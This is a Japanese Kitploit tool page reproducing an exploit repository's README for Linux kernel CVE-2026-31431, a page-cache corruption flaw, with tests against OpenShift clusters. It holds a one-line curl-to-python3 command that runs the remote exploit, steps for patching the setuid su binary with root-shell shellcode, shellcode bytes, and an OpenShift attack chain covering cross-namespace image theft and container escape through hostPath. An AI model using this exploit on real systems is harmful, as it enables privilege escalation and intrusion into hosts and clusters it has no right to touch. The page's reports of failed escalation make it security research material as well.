Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-31431 — LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。 | Kitploit
ツール/GitHubGitHub/seanrickerd/cve-2026-31431
クラウドインフラストラクチャセキュリティ特権昇格コンテナセキュリティエクスプロイトフレームワーク脆弱性分析エクスプロイトバイナリエクスプロイト
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

LinuxカーネルCVE-2026-31431のエクスプロイト。authencesn AEAD操作によるページキャッシュ破損を引き起こし、コンテナおよびOpenShift環境での権限昇格を標的とします。

リポジトリを見る
125185ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431「Copy Fail」- ページキャッシュ破損の脆弱性

authencesn AEAD操作によるLinuxカーネルのページキャッシュ破損。

⚠️ 重要: 悪用状況の更新(2026年5月1日)

RHEL 9.6カーネルを搭載した複数のOpenShift 4.20.16クラスターでの広範なテストの結果:

  • ✅ ページキャッシュ破損: 確認済み - 160バイトのシェルコードの注入に成功
  • ✅ カーネル脆弱性: 非特権コンテナから悪用可能(ケーパビリティゼロ)
  • ❌ 権限昇格: 未達成 - キャッシュ破損後もUIDは変更されず
  • ❌ コード実行: 未確認 - 変更されたページは読み取りで確認できるが実行されない
  • ✅ Restricted-v2 SCC: 有効 - コンテナエスケープを防止し、爆発半径を制限

詳細は包括的なテスト結果セクションを参照してください。


概要

CVE-2026-31431は、authencesn AEAD暗号実装におけるLinuxカーネルの脆弱性であり、非特権プロセスがAF_ALGソケットとsplice()システムコール操作を介して、読み取り可能なファイルのページキャッシュを破損させることができます。

テスト結果: ページキャッシュ破損は確実に機能しますが、テスト環境のRHEL 9.6カーネルでは権限昇格は発生しません。

CVSSスコア: 7.8(高)
影響を受けるバージョン: authencesnをサポートするLinuxカーネルバージョン(2017年〜2026年)
公開開示: 2026年4月29日

機能

  • Python 3.9+互換: ctypesによるsplice()システムコールラッパーを含む
  • 移植性: 脆弱なカーネルを搭載した任意のLinuxシステムで動作
  • 信頼性: レースコンディション不要
  • クリーン: 160バイトのシェルコード、決定的な悪用

要件

  • 脆弱なauthencesn実装を搭載したLinuxカーネル(2026年4月のパッチ前)
  • Python 3.9+
  • 非特権ユーザーアクセス
  • 読み取り可能なsetuidバイナリ(デフォルト: /usr/bin/su)

使用方法

基本的な使用方法```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### ローカルファイルから```bash
python3 exploit.py
su

実際のエクスプロイト動作(テストに基づく)

発生すること:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**ページキャッシュ検証(破損の確認):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

起こらないこと(テストに基づく):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**結論:** ページキャッシュの破壊は成功するが、権限昇格は失敗する。

## 技術的詳細

### 脆弱性

Linuxカーネルの`authencesn`(認証付き暗号化 - 拡張シーケンス番号)実装には、インプレース操作の処理に欠陥がある。AF_ALGソケット経由で送信されたAEAD操作を処理する際、ページキャッシュのページがカーネルの書き込み可能な宛先scatterlistに含まれる可能性がある。

### 悪用手法

1. **AF_ALGソケットを作成** `authencesn(hmac(sha256),cbc(aes))`を使用
2. **AEADパラメータを設定**(キー、authsize)
3. **対象のsetuidバイナリを開く**(例:`/usr/bin/su`)
4. **splice()を使用** バイナリをページキャッシュに取り込む
5. **インプレースAEAD操作をトリガー** ページキャッシュへの書き込みを発生させる
6. **シェルコードを書き込む** 一度に4バイトずつ
7. **改変したバイナリを実行** rootを取得する

### シェルコード

このエクスプロイトは、`/usr/bin/su`をパッチする160バイトのシェルコードを使用する:
- パスワード認証をスキップ
- rootシェルへのアクセスを許可
- 非特権ユーザーには通常の機能を維持

## Python 3.9互換性

Python 3.9以前には、標準ライブラリに`os.splice()`がない。このエクスプロイトには、ctypesベースの実装が含まれている:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

これにより、エクスプロイトは以下で動作します:

  • ✅ Python 3.9(RHEL 9、Ubuntu 20.04 など)
  • ✅ Python 3.10+
  • ✅ ctypes をサポートする任意の Python

包括的なテスト結果

テスト環境 1:OpenShift 4.20.16 クラスター(最初のテスト)

ノード構成:

  • カーネル:5.14.0-570.96.1.el9_6.x86_64(RHEL CoreOS 9.6)
  • OpenShift:4.20.16
  • SCC:restricted-v2(最も制限が厳しい)
  • UID:1000830000(ユーザー名前空間)
  • ケーパビリティ:0x0000000000000000(ゼロ)

テスト結果:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### テスト環境 2: 新しい OpenShift クラスター(検証テスト)

**クラスター:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**ノード構成:**
- カーネル: 5.14.0-570.96.1.el9_6.x86_64(テスト 1 と同一)
- OpenShift: 4.20.16  
- SCC: restricted-v2(検証済み)
- UID: 1000810000(ユーザー名前空間)
- ケーパビリティ: 0x0000000000000000(ゼロ)

**テスト結果:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

一貫性: 独立したクラスター間で100%再現可能な結果

コンテナエスケープテスト

シナリオA: hostPathボリュームあり(コンテナエスケープ可能)```yaml volumes:

  • name: host-usr hostPath: path: /usr
結果: ✅ **Container escape** - ホストページキャッシュを変更 (Device 33, Inode 4288)

**シナリオB: Restricted-v2 SCC (No hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

結果: ❌ コンテナエスケープなし - コンテナのオーバーレイのみに影響(別のinode)

重大な発見: コンテナエスケープの決定要因はケーパビリティではなく、hostPathアクセスである。

権限昇格が失敗する理由

考えられる説明(さらなる調査が必要):

  1. 読み取りと実行のコードパスの違い

    • ページキャッシュの破損は mmap(PROT_READ) 操作に影響する
    • 実行可能マッピング mmap(PROT_EXEC) は破損したキャッシュをバイパスする可能性がある
    • カーネルは実行可能ページに対して異なるコードパスを使用する可能性がある
  2. メモリ保護

    • W^X(Write XOR Execute)の強制
    • カーネルの実行可能ページ検証
    • SELinux/AppArmorのコード整合性チェック
  3. カーネルバージョン固有の要因

    • RHEL 9.6(5.14.0-570.96.1)には追加の保護が含まれている可能性がある
    • 元のCVE研究では異なるカーネルバージョンが使用されていた可能性がある
    • 動作はカーネルリリースによって異なる可能性がある

実際に機能するもの

テストOpenShift 4.20 #1OpenShift 4.20 #2ステータス
AF_ALGソケットアクセス✅✅機能
ページキャッシュ破損✅✅機能
シェルコード注入✅✅機能
シェルコード可視化(READ)✅✅機能
UID変更(権限昇格)❌❌失敗
コード実行❌❌失敗
コンテナエスケープ(restricted-v2)❌❌ブロック

結論: カーネルの脆弱性は実在する(ページキャッシュ破損が実証済み)が、実用的な悪用は限定的である。

テスト済みシステム

システムカーネルページキャッシュ破損権限昇格備考
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ あり❌ なしOpenShift 4.20.16ワーカー
OpenShift 4.20コンテナ5.14.0-570.96.1.el9_6✅ あり❌ なしrestricted-v2 SCC

注記: テストはRHEL 9.6カーネルに限定。他のディストリビューション/バージョンでの動作は未検証。

OpenShiftコンテナテスト

RHEL CoreOS 9.4を実行するOpenShift 4.20クラスターでテストに成功。このセクションでは、名前空間分離のバイパスとコンテナ侵害について説明する。

⚠️ 重要な訂正: 初期テストでは、/proc/1/root を介したホストファイルシステムへのアクセスが誤って主張されていた。これは誤りである - 分離されたコンテナ内の /proc/1/root は、OpenShiftワーカーノードのホストではなく、コンテナ自身のファイルシステムを指す。詳細な分析については attacks/README.md を参照。

攻撃チェーンの概要```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

### フェーズ 1: 名前空間分離のバイパス

**脆弱性:** OpenShift 内部レジストリは、適切な RBAC の強制なしに、名前空間をまたいだイメージのプルを許可します。

**悪用方法:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

結果:

  • ✅ openshift 名前空間から openshift/cli イメージを取得
  • ✅ oc、kubectl、curl、openssl、Python 3.9 へのアクセスを獲得
  • ✅ 名前空間の分離をバイパス

影響: テナント間の横方向の移動と特権ツールへのアクセスを可能にします。

フェーズ 2: コンテナ内でのカーネルエクスプロイト

ツールをダウンロード